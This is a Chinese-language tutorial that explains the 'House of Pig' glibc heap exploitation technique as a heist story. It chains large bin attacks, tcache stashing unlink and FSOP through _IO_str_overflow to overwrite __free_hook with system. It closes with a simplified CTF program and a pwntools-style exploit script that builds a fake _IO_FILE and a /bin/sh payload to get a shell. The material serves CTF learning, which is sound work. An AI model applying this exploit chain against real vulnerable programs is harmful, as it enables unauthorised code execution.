我们要聊的House of Pig不是什么枯燥的代码段而是一场极其优雅、环环相扣的“内存抢劫案”。这个技术由中国安全研究员pig在 2021 年的 XCTF 总决赛中首次提出主要用来对付glibc 2.31 及以上版本的高难度 Linux 堆漏洞利用Pwn。 故事背景为什么需要 House of Pig在 Pwn漏洞利用的常规套路中我们最喜欢攻击的目标是__free_hook。它就像程序里的一个“安保摄像头”每当程序释放内存调用free时都会看它一眼。如果我们能把__free_hook篡改成system函数的地址那么当我们释放一个内容是/bin/sh的内存时程序就会乖乖执行system(/bin/sh)我们就能拿到系统的控制权Get Shell。但是防守方出题人增加了限制在这个程序里禁止使用malloc**只能使用calloc来分配内存。要知道malloc会使用一个叫做tcache线程缓存的“绿色通道”黑客极容易在这个通道里搞破坏把__free_hook的地址塞进去骗程序。而calloc是一个老实人它绝对不走 tcache 绿色通道**。这就陷入了死局我们没法用calloc把目标地址__free_hook提出来并写入数据。House of Pig就是为了在“没有malloc可用”的绝境下强行在系统底层“凭空”造出一个malloc并完成绝杀。️ 抢劫案的三大核心道具要完成 House of Pig我们需要组装三个漏洞利用零件道具一Large Bin Attack狙击枪 - 任意地址写简单来说这是 glibc 堆内存管理中的一个漏洞。只要利用它我们就可以把一个堆内存的地址写到系统里的任意位置。在这次行动中我们要开两枪。道具二Tcache Stashing Unlink Attack走私者 - 偷偷塞入目标虽然我们不能用malloc但我们可以利用内存合并与整理的机制偷偷把__free_hook - 0x10目标地址的前一点点塞进 tcache 的绿色通道里。它就像一个潜伏的内应静静等待有人调用malloc来把它取走。道具三FSOP特洛伊木马 - 劫持文件流Linux 程序在退出或者崩溃时会依次清理所有打开的文件比如标准输入输出。系统里有一个总名单叫_IO_list_all。我们可以伪造一个“假文件”放到堆上然后把总名单的指针改成我们的假文件。程序退出时就会去处理我们的假文件。 终极魔术_IO_str_overflow这是整个 House of Pig 最天才的一笔。当我们用特洛伊木马FSOP接管了程序的退出流程后我们可以让程序去执行 glibc 内部一个极其冷门的函数_IO_str_overflow。这个函数原本是用来处理字符串溢出的但它的底层 C 源代码简直就像是为黑客量身定做的// _IO_str_overflow 内部极其简化的逻辑 char *new_buf malloc(new_size); // 动作 1调用 malloc if (old_buf) { memcpy(new_buf, old_buf, old_size); // 动作 2调用 memcpy 进行复制 free(old_buf); // 动作 3调用 free 释放旧内存 }你看懂了吗这个函数里**自带了malloc、memcpy和free**它完美打破了程序不给我们用malloc的限制。 完整电影剧本执行流程现在我们把所有零件拼装在一起上演这出完美的抢劫案第一步解除安保警报第一次 Large Bin Attack为了让后续的“走私”过程不引起系统崩溃我们需要目标地址__free_hook - 0x10附近有一个合法的指针。我们用狙击枪Large Bin Attack瞄准__free_hook - 0x8开一枪把一个堆地址写进去。警报解除。第二步安插内应Tcache Stashing Unlink AttackHouse of Pig一场教科书级别的“内存抢劫案”House of Pig 是由中国安全研究员pig在 2021 年 XCTF 总决赛中提出的一种高级 Linux 堆漏洞利用技术专门针对 glibc 2.31 及以上版本的高难度 Pwn 题目。这门技术的美妙之处在于它将系统底层的多个微小破绽像齿轮一样咬合在一起在防守方彻底封死常规攻击路线的“绝境”下利用系统自身的正常逻辑完成了一次无懈可击的攻击。一、 故事背景与“死局”在常规的堆漏洞攻击中黑客的终极目标通常是篡改__free_hook。什么是__free_hook安保摄像头它是 glibc 在执行free释放内存动作前的一个拦截器。默认情况下它是空的。但如果黑客利用漏洞把它篡改成system函数的地址那么当程序试图释放一块内容为/bin/sh的内存时实际上就会执行system(/bin/sh)黑客借此瞬间拿到系统的终端控制权。为了防止黑客篡改这个 Hook高难度的题目会设下严苛的限制绝对不使用malloc只使用calloc来分配内存。什么是tcache绿色通道tcache是系统为了加速内存分配发明的“自助回收车”。它不登记、不上锁、无安全检查。malloc特别喜欢从这里拿内存因此黑客只要篡改tcache的链表指针就能轻易让malloc把__free_hook的地址当作可用内存分配出来即 tcache 投毒。为什么calloc是个老实人calloc的出厂设定是“必须提供一块绝对干净、被清零的内存”。因此它每一次分配都会强行绕过脏兮兮的tcache绿色通道老老实实去经过严格安全审查的总仓库拿内存。死局形成黑客虽然可以在tcache里做手脚安插__free_hook但因为程序只用calloc它看都不看tcache一眼。黑客无法将目标地址提出来写入恶意数据。二、 破局的三大核心道具为了在没有malloc的情况下强行激活 tcache 绿色通道我们需要组装三个系统底层的漏洞利用零件道具一Large Bin Attack狙击枪 —— 任意地址写当程序释放大内存进入Large Bin仓库时系统会按大小为它们排序这依赖于内存块上的fd_nextsize和bk_nextsize指针。黑客利用漏洞如 UAF将仓库中已有内存块的bk_nextsize擦掉改写为攻击目标地址。当系统试图把新的大内存放进仓库排队时会按照被篡改的指针把一个合法的堆内存地址精准地写入系统里的任意位置。在 House of Pig 中这把狙击枪要开两火。道具二Tcache Stashing Unlink Attack走私者 —— 偷偷塞入目标虽然calloc不走 tcache但当系统从常规仓库如 Small Bin取内存时会触发“自动补货Stashing”机制顺手把同等大小的空闲内存塞进 tcache 里。黑客再次利用漏洞修改常规仓库的链表指针bk将其绑在__free_hook - 0x10上。当calloc触发补货机制时系统会顺藤摸瓜将这个目标地址强行拽进 tcache 绿色通道中作为潜伏的内应等待唤醒。道具三FSOP特洛伊木马 —— 劫持文件流Linux 程序在退出exit或崩溃时必须根据一份名为_IO_list_all的总名单依次清理所有打开的文件对象。每个文件对象包含一个虚表vtable即操作手册指明该用什么函数来清理。黑客提前在堆上伪造一个假文件将虚表替换为_IO_str_jumps。随后利用“道具一”修改_IO_list_all让系统在退出时处理这个假文件。三、 终极魔术_IO_str_overflow伪造的假文件中指定了用 glibc 内部极其冷门的_IO_str_overflow函数来进行清理。这个用于处理字符串溢出的函数其底层 C 代码完美契合了黑客的需求// _IO_str_overflow 内部简化的核心逻辑 char *new_buf malloc(new_size); // 动作 1终于出现了梦寐以求的 malloc if (old_buf) { memcpy(new_buf, old_buf, old_size); // 动作 2复制数据 free(old_buf); // 动作 3释放旧内存 }这个函数内部自带了malloc - memcpy - free的神仙连招完美打破了外部程序不给用malloc的死局。四、 完整剧本四步绝杀当所有零件准备就绪黑客将按照以下步骤引爆整个攻击链第一次狙击解除安保警报因为后续的“走私”操作会对内存结构进行校验如果目标地址附近全是空数据会引发系统崩溃。黑客首先发动一次Large Bin Attack瞄准__free_hook - 0x8写入一个堆地址伪造合法的内存环境解除警报。安插内应触发走私黑客修改内存布局后调用特定大小的calloc触发 Stashing 机制。系统在不知情的情况下将目标地址__free_hook - 0x10强行塞入了 tcache 绿色通道的第一个位置。埋设木马与第二次狙击黑客在堆上精心构造假文件对象其中包含一段致命的old_buf恶意数据最开头是/bin/sh\x00中间垫上垃圾数据末尾是对齐好的system函数真实地址。接着发动第二次Large Bin Attack将系统的退出总名单_IO_list_all指向这个假文件。终极引爆exit黑客发送指令让程序正常执行exit()退出。程序遍历总名单拿到假文件掉入虚表陷阱开始执行_IO_str_overflow触发malloc函数内部的malloc优先从 tcache 绿色通道拿内存正好取出了潜伏已久的__free_hook - 0x10。触发memcpy函数将伪造的old_buf复制进去。/bin/sh\x00落在了前段而system的地址刚刚好精准覆盖在了__free_hook之上。触发free函数最后执行free(old_buf)。此时钩子已经被掉包原本清理内存的动作瞬间变成了执行system(/bin/sh)。没有自己调用过一次malloc也没有生硬地去强改数据。黑客仅仅是通过布置好内存的指针静静等待程序走到exit的那一刻让系统顺着自己设定的剧本亲手为黑客递上了最高权限的 Shell。例子为了让你从刚刚的“抢劫案”故事无缝过渡到真实的黑客操作我们来看一个简化版的 CTF夺旗赛题目例子。假设我们面对一个典型的堆漏洞程序名字叫pig_bank它的规则极其严苛。1. 目标程序的规则防守方在这个程序里你可以创建、编辑和删除“备忘录”。但它的底层代码有以下限制和漏洞// 限制 1绝对不使用 malloc只用 calloc内存会被清零且不走 tcache void add() { // ... ptr[i] calloc(1, size); } // 限制 2存在 UAF (Use-After-Free) 漏洞 void delete() { free(ptr[i]); // 漏洞点释放后没有把指针清空为 NULL可以继续编辑它 } // 限制 3程序提供了一个退出选项执行 exit(0)2. 黑客的攻击脚本Python pwntools 伪代码下面是对应上一节“电影剧本”的真实漏洞利用代码逻辑。我会用注释把代码和故事对应起来。前置准备获取系统地图在开枪之前我们需要知道系统里的关键位置在哪泄漏libc基址和堆基址。这通常通过 UAF 漏洞读取释放后的指针来实现。libc_base 0x7ffff7a00000 # 假设我们算出了系统核心库的地址 heap_base 0x55555555f000 # 假设我们算出了堆内存的地址 free_hook libc_base libc.sym[__free_hook] system_addr libc_base libc.sym[system] _IO_list_all libc_base libc.sym[_IO_list_all] _IO_str_jumps libc_base libc.sym[_IO_str_jumps]第一步第一次狙击Large Bin Attack 1—— 解除安保警报利用 UAF 漏洞修改 Large Bin 里的链表指针bk_nextsize让系统在整理内存时把一个堆地址写到__free_hook - 8。# 修改 chunk_A 的指针瞄准 __free_hook - 8 edit(chunk_A, p64(0) p64(free_hook - 0x8 - 0x20)) # 申请一个更大的内存触发系统整理 Large Bin扣动扳机 add(0x400) # 此时[__free_hook - 8] 某个堆地址解除后续崩溃危机第二步安插内应Tcache Stashing Unlink Attack利用calloc分配特定大小的内存时会触发系统把 Unsorted Bin 里的内存块“顺手”塞进 tcache所谓的 stashing 机制。我们借机把目标地址塞进去。# 修改 chunk_B 的 bk 指针指向我们的目标前夕 edit(chunk_B, p64(0) p64(free_hook - 0x10 - 0x10)) # 调用 calloc 触发 stashing强行把目标地址塞入 tcache add(0x100) # 此时tcache 的链表头部变成了 __free_hook - 0x10第三步第二次狙击与埋设木马Large Bin Attack 2 伪造 _IO_FILE再次开枪这次瞄准文件流总名单_IO_list_all把它指向我们提前在堆上伪造好的“假文件”。同时我们要构造那个致命的特洛伊木马假文件数据。# 1. 构造即将被拷贝的恶意数据 (old_buf) malicious_data b/bin/sh\x00 # 开头是命令将被 free malicious_data p64(0) # 垫片8字节垃圾数据 malicious_data p64(system_addr) # 精准对齐到 __free_hook 的 system 地址 # 2. 构造假文件 (_IO_FILE 结构体) fake_file b fake_file p64(0) # _flags fake_file p64(0) # _IO_read_ptr fake_file p64(0) # _IO_read_end fake_file p64(0) # _IO_read_base fake_file p64(0) # _IO_write_base fake_file p64( (len(malicious_data) - 1) / 2 ) # _IO_write_ptr (控制 malloc 的大小) fake_file p64(0) # _IO_write_end fake_file p64(heap_base 0x1000)# 指向 malicious_data 的地址 (作为 old_buf) # ... 省略中间的无用填充 ... fake_file p64(_IO_str_jumps) # 核心把虚表替换成 _IO_str_jumps引导程序走向 _IO_str_overflow # 3. 把假文件写到堆上并开第二枪 edit(chunk_C, fake_file) edit(chunk_D, p64(0) p64(_IO_list_all - 0x20)) # 瞄准 _IO_list_all add(0x400) # 扣动扳机_IO_list_all 现在指向了 chunk_C第四步引爆万事俱备我们向程序发送退出指令。# 发送指令让程序执行 exit() send_menu(exit) # ---- 此时系统底层发生连环爆炸 ---- # 1. exit() 遍历 _IO_list_all拿到我们的 fake_file。 # 2. 调用 _IO_str_jumps 里的 _IO_str_overflow。 # 3. 触发 malloc从 tcache 取出 __free_hook - 0x10。 # 4. 触发 memcpy把 malicious_data 复制进去system_addr 精准覆盖 __free_hook。 # 5. 触发 free释放 malicious_data等同于执行 free(/bin/sh)。 # 6. 因为 hook 被劫持最终实际执行 system(/bin/sh)。 # 拿到 Shell io.interactive()真实的 Pwn 脚本需要精准计算偏移量比如0x20、0x10这种数字但这套流程展示了House of Pig在代码层面的极度连贯性漏洞被像乐高积木一样组合起来最终利用系统自己提供的标准函数完成了一次无需自己调用malloc的绝杀。